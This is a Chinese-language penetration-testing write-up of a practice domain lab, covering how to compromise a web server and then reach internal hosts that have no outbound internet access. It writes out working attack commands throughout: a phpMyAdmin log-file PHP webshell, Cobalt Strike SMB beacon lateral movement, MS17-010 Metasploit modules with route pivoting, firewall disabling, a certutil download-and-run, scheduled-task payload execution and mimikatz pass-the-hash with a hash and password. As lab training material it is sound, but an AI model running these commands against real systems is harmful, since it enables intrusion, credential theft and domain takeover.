一、前言
本文首發於先知社區:https://xz.aliyun.com/t/9607
之前在打一個域環境的時候出現了域內主機不出網的情況,當時用的是cs的socks代理將不出網主機的流量代理到了邊緣主機上。當時沒有考慮太多,下來之后想到搭一個環境復現一下當時的情況,看有沒有更簡便的方法能夠打下不出網的主機。
機緣巧合之下,發現了這個域環境還不錯,再復現的過程中也有一些知識觸及了我的知識盲區,也收獲了許多新的知識。特地把過程記錄下來,與想要學習打域內不出網主機的師傅們共同分享。
二、靶場地址分配
內網網段:192.168.52.0/24
外網網段:192.168.10.0/24
攻擊機:
kali:192.168.10.11
靶場:
win7(內):192.168.52.143
win7(外):192.168.10.15
域內主機:
Winserver2003:192.168.52.141
Winserver2008:192.168.52.138
其中win7可以外網、內網通信,域內主機只能內網之間進行通信
一開始DCping不通win7,win7關閉防火牆之后可以ping通
打開C盤下的phpstudy目錄打開web服務
三、web服務器滲透
1.nmap探測端口
nmap -sS -P0 -sV -O 192.168.10.15
開了80端口,嘗試訪問web地址,發現為php探針
滑到最底部,發現網站底部有一個MySQL數據庫連接檢測
弱口令root/root連接成功
2.掃描后台
我這里用的是御劍,但是好像很拉,因為在我打完這個靶場之后再去網上看的時候發現他們很多掃出來一個cms,通過cms也能拿shell,這里我就不演示怎么用cms弱口令進后台寫shell了,如果有感興趣的小伙伴可以自行搜索一下
發現phpmyadmin目錄,還是root/root弱口令登陸成功
進入后界面如下所示
3.通過phpmyadmin寫shell
通過phpmyadmin寫shell有兩種方式,具體原理請參考我的另一篇文章
https://www.cnblogs.com/Drunkmars/p/mars36.html
首先我嘗試 select into outfile直接寫入,但是他這里secure_file_priv的值為NULL,所以無法提權
只能使用另外一種方法,用全局日志寫shell
SHOW VARIABLES LIKE '%general%'
查看配置,可以看到全局日志是處於關閉的狀態,gengeral_log_file返回了日志的絕對地址
那這里我先把它的全局日志打開,再往它路徑里面寫入一個一句話木馬
set global general_log = on;
開啟全局日志后修改絕對路徑,注意這里有一個坑,日志給我們返回的路徑是C:\phpStudy\MySQL\data\stu1.log,但是mysql訪問的絕對地址為C:\phpStudy\WWW目錄下的文件,所以這個地方寫shell必須要寫到WWW目錄下才能夠用蟻劍連接上
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
這里再寫入一句話木馬
select '<?php eval($_POST[cmd]);?>'
然后再上蟻劍連接即可
可以看到連接成功
四、內網信息搜集
查看下系統的權限,一上來就是administrator權限就很舒服
ipconfig /all查看網絡信息,域環境+雙網卡
tasklist /svc粗略看了一下,似乎是沒有殺軟的
想着沒有殺軟,那么直接用最簡單粗暴的上cs更省心,上傳一個cs生成的木馬exe到目標主機上
用計划任務上線cs
成功上線
五、內網滲透
1.信息搜集
net view查看域信息
使用cs自帶的端口掃描掃一波主機
掃出來所有的主機如下
hashdump抓一波hash
logonpasswords抓一波明文
所有憑證如下,打碼的原因是因為之前登陸的時候密碼要重置,弄了一個帶有個人信息的密碼
2.思路
這里我測試了一下,因為目標主機沒有開啟防火牆,是能夠通過cs自帶的psexec一波橫向抓域控和域內機器密碼的,但是鑒於這個win7雙網卡且域內另外主機不出網的情況,練習一下如何打不出網的主機
不出網機器上線一般有以下幾種方式:
-
使用smb beacon
-
配置listener通過HTTP代理上線
-
使用pystinger搭建socks4代理
這里我使用SMB beacon這個方法
SMB Beacon使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子Beacon從父Beacon獲取到任務並發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB beacon相對隱蔽。SMB beacon不能直接生成可用載荷, 只能使用 PsExec 或 Stageless Payload 上線
首先得到內網中一台主機的beacon,抓取密碼后進行smb噴射,得到另一台開放445端口的機器上的administrator賬戶密碼,在目標機器不出網的情況下,可以使用Smb beacon使目標主機上線
1.使用條件
-
具有 SMB Beacon 的主機必須接受 445 端口上的連接。
-
只能鏈接由同一個 Cobalt Strike 實例管理的 Beacon。
-
利用這種beacon橫移必須有目標主機的管理員權限或者說是擁有具有管理員權限的憑據。
2.使用方法
1.建立smb listener
2.在cs中使用psexec進行橫向移動,選擇現有的beacon作為跳板,這里憑據必須是administrator ,即擁有目標主機管理員權限
3.連接成功,可以看到smb beacon上線的主機右側有∞∞標識
使用這種方法上線的機器,主要是通過出網機作為一個中間人,不出網主機成功上線后,如果出網機一斷開,這個不出網主機也會斷
六、內網橫向滲透
1.思路
用Ladon掃一波內網的永恆之藍,發現這幾台主機都存在MS17-010
ms17010常見的幾種打法:
-
msf
-
ladon/ladon_ms17010
-
從msf分離出的exe
-
nessus里的exe
-
cs插件
這幾種打法,我在這個環境中都做過嘗試。過程就不一一敘述了,直接說我測試的結果
msf是最穩定的,但是打起來有稍許的麻煩因為要設置監聽模塊和選擇攻擊模塊等配置。ladon_ms17010方便但是不太穩有時候會打不成功。cs插件也不穩,並且在這種不出網網絡不穩定的情況下成功率會變的更低
在這種不出網的情況下,可以優先考慮使用從msf分離出的exe和ladon_ms17010來打,打成功會直接通過自定義的dll新建一個用戶並加入管理員組,開啟3389端口,而且還會留一個粘滯鍵后門,具體請移步我的另外一篇文章
https://www.cnblogs.com/Drunkmars/p/mar28.html
根據實際情況,可考慮在合適的時間段和條件下直接遠程登入,翻一下敏感數據,往往會因為運維人員的很多“好習慣”而給滲透帶來很多便利,比如說“密碼本.txt”
2.cs派生msf會話
msf設置監聽端口
cs新建端口建立對話
運行拿到meterpreter
3.ms_17_010獲取域控權限
這里因為知道了DC是有ms_17_010這個漏洞的,所以我先嘗試了用永恆之藍打一波
使用如下模塊
exploit/windows/smb/ms17_010_eternalblue
運行之后發現exp已經打過去了但是沒有session建立
再換個ms17010的模塊
use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/blind_tcp
同樣沒有拿到shell,當時沒有細想,后來我考慮到可能是win7處於兩個網段的原因,所以用永恆之藍直接打是拿不到shell的
4.msf打不出網機器的ms_17_010
想到之前拿到了win7的meterpreter,所以用添加路由的方式嘗試一下
msf在單兵作戰的時候還是很穩定很香的。win7在msf上線后,因為我們已經提前知道了,存在52這個不出網的段,那么就需要在msf中添加路由
1.查看路由
run get_local_subnets
2.添加路由
run autoroute -s 192.168.52.0/24
3.查看添加的路由
run autoroute -p
4.開始攻擊
把shell切換到后台,再運用ms17_010_eternalblue模塊
這次能夠成功建立連接
5.ms_17_010模塊總結
漏洞檢測方法:
use auxiliary/scanner/smb/smb_ms17_010
之后設置一下目標ip和線程即可,這里因為已經掃出存在漏洞的機器了,所以就沒有進行漏洞檢測。
漏洞利用常使用的是:
auxiliary/admin/smb/ms17_010_command exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/ms17_010_psexec
這里的第一個和第三個模塊需要目標開啟命名管道,並且比較穩定。第二個模塊只要存在漏洞即可,但是會有概率把目標打藍屏,而且殺軟攔截也會比較嚴格,如果有殺軟就基本可以放棄這個模塊了。
在打ms17010的時候,不妨使用auxiliary/admin/smb/ms17_010_command
模塊探測一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_command set rhosts 192.168.164.156 192.168.164.161 set command tasklist show options run
如果命令執行成功的話就可以優先考慮這兩個模塊進行利用
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_psexec
6.WMI獲取域控服務器
因為之前用了兩個ms_17_010的模塊都沒有打成功,而session放在后台是后面才想到的打法,在當時模塊沒有打成功的情況下我決定另辟蹊徑
首先我打開3389端口並關閉防火牆進到win7的遠程桌面
注冊表開啟3389端口 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 關閉防火牆 netsh firewall set opmode disable #windows server 2003 之前 netsh advfirewall set allprofiles state off #windows server 2003 之后
這個時候防火牆是開啟,關閉防火牆,使用域用戶god\administrator/hongrisec@2020成功登錄這一台win7WEB主機
上傳vmiexec.vbs到192.168.52.143(win7)機器上,然后執行
cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"
因為我用vbs幾次都沒有回顯,所以我這里使用的Ladon.exe,執行
Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 whoami
同上面的過程一樣,獲取一個正向的msf連接,過程如下:
首先生成一個正向的exe文件放到win7的網站目錄上
在win7上看一下,上傳成功
在win7上使用WMI執行命令
certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe
成功執行,這時候在138機器(即DC-win2008)上開啟6666端口監聽
在msf上個運行blin_tcp來獲取回話
成功獲取域控權限,后續提權
使用CVE-2018-8120提權,成功提到系統權限,這里我思考了一下用MS14-068應該也能夠提權成功
成功提權,上免殺mimikatz,成功抓到hash
7.票據加計划任務獲取DC
這里先用msf的命令生成正向的馬 yukong.exe
windows/reverse_bind_tcp LHOST=192.168.10.11 LPORT=7777
把馬復制到域控機器上
shell copy C:\yukong.exe \192.168.52.138\c$
然后再用這個寫入計划任務的方法去連接,這里馬反彈會連不成功,所以使用如下命令
shell schtasks /create /tn "test" /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
掛着win7代理
proxy nc -vv 192.168.52.138 7777
即可彈回DC的shell,然后清除計划任務
schtasks /delete /s 192.168.52.138 /tn "test" /f
使用mimikatz進行hash傳遞
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
查看DC的目錄
shell dir \192.168.52.138\c$ //dir
七、后記
當然最后獲取域控權限的方法還有很多,如pth攻擊、橫向哈希傳遞、redis等等,而其中一些地方我用的方法也不是唯一方法,如通過掃描目錄發現cms進入后台寫shell,用代理將win7流量轉出來的方法,都很值得學習。
通過這個靶場不僅鍛煉了一些看過但是實戰中不知道怎么使用的方法,也提升了自己獨立解決問題的能力,也學到了很多新知識,如通過phpmyadmin寫shell等等,用前輩說的話就是:低調求發展,潛心習安全。
最近可能會把內網這部分稍微放緩一下,可能會去潛心鑽研一下關於pe、win32的底層知識,希望再次回到內網學習之時,又會有新的覺悟。